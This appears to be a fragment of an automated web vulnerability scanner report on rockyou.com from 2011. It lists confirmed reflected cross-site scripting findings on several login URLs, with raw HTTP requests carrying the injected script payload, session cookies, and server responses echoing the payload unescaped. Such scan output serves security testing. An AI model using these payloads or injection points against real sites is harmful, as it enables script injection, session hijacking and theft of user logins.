Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="\'\"--></style></script><script>netsparker(0x0006EB)</script>"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:none"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="3"><br /><input type="hidden" name="user" id="user" value="\'\"--></style></script><script>netsparker(0x0006EB)</script>"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916&q..
- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php

Parameters

Parameter Type Value
user POST 3
mode POST login
pass POST '"--></style></script><script>alert(0x000735)</script>

Request

POST /login.php HTTP/1.1
Referer: http://www.rockyou.com/login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164003; ctid=2; sns_type=facebook.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Content-Length: 108
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

user=3&mode=login&pass='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000735)%3c%2fscript%3e

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:00:04 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=-1; expires=Mon, 18-Apr-2011 12:00:04 GMT; path=/; domain=.rockyou.com,lastlogin=1303164004; expires=Wed, 27-Jul-2011 22:00:04 GMT; path=/; domain=.rockyou.com,sns_type=facebook.com; expires=Mon, 25-Apr-2011 22:00:04 GMT; path=/; domain=.rockyou.com,pubtype=facebook; expires=Sun, 12-Jan-2014 22:00:04 GMT; path=/; domain=.rockyou.com,ultype=facebook; expires=Sun, 12-Jan-2014 22:00:04 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=89889 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9046
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="3"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:none"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="\'\"--></style></script><script>netsparker(0x000735)</script>"><br /><input type="hidden" name="user" id="user" value="3"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916">1916</option><option value="1915">1915</option><optio..
- /login/

/login/ CONFIRMED

http://www.rockyou.com/login/?'"--></style></script><script>alert(0x000A44)</script>

Parameters

Parameter Type Value
Query Based QUERYSTRING '"--></style></script><script>alert(0x000A44)</script>

Request

GET /login/?'"--></style></script><script>netsparker(0x000A44)</script> HTTP/1.1
Referer: http://www.rockyou.com/login/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164186; ctid=2; sns_type=facebook.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:03:07 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=1172 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 261
Connection: close
Content-Type: text/html; charset=UTF-8


<form method='post' id='redirect_form' action='https://www.rockyou.com/login/?'"--></style></script><script>netsparker(0x000A44)</script>'></form><script>
function redir() {
var redirForm = document.getElementById('redirect_form');
if(redirForm != null & redirForm != undefined){
document.getElementById('redirect_form').submit();
}
}
window.onload=redir;
</script>

- /login/index.php

/login/index.php CONFIRMED

http://www.rockyou.com/login/index.php?'"--></style></script><script>alert(0x000A5D)</script>

Parameters

Parameter Type Value
Query Based QUERYSTRING '"--></style></script><script>alert(0x000A5D)</script>

Request

GET /login/index.php?'"--></style></script><script>netsparker(0x000A5D)</script> HTTP/1.1
Referer: http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-login&url=http%3A%2F%2Fwww.rockyou.com%2Flogin%2Findex.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164188; ctid=2; sns_type=rockyou.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:03:09 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=1120 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 267
Connection: close
Content-Type: text/html; charset=UTF-8


<form method='post' id='redirect_form' action='https://www.rockyou.com/login/index.php?'"--></style></script><script>netsparker(0x000A5D)</script>'></form><script>
function redir() {
var redirForm = document.getElementById('redirect_form');
if(redirForm != null & redirForm != undefined){
document.getElementById('redirect_form').submit();
}
}
window.onload=redir;
</script>

- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php?birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&se..

Parameters

Parameter Type Value
birthyear GET 3
country GET 0
flixster GET 3
mode GET create
pass GET 3
postalcode GET 3
sex GET 3
source GET 3
toscheck GET 1
user GET 3
pass POST '"--></style></script><script>alert(0x000B9F)</script>
user POST 3
mode POST create
source POST 3
flixster POST 3
toscheck POST 1
birthyear POST 3
sex POST 3
country POST 0
postalcode POST 3

Request

POST /login.php?birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&sex=3&source=3&toscheck=1&user=3 HTTP/1.1
Referer: http://www.rockyou.com/login.php?birthyear=&country=0&flixster=&mode=create&pass=&postalcode=&sex=&source=&toscheck=1&user=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164242; ctid=3; sns_type=facebook.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Content-Length: 181
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

pass='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000B9F)%3c%2fscript%3e&user=3&mode=create&source=3&flixster=3&toscheck=1&birthyear=3&sex=3&country=0&postalcode=3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:04:03 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:04:02 GMT; path=/; domain=.rockyou.com,lastlogin=1303164243; expires=Wed, 27-Jul-2011 22:04:03 GMT; path=/; domain=.rockyou.com,sns_type=facebook.com; expires=Mon, 25-Apr-2011 22:04:03 GMT; path=/; domain=.rockyou.com,pubtype=facebook; expires=Sun, 12-Jan-2014 22:04:03 GMT; path=/; domain=.rockyou.com,ultype=facebook; expires=Sun, 12-Jan-2014 22:04:03 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=88813 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9125
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
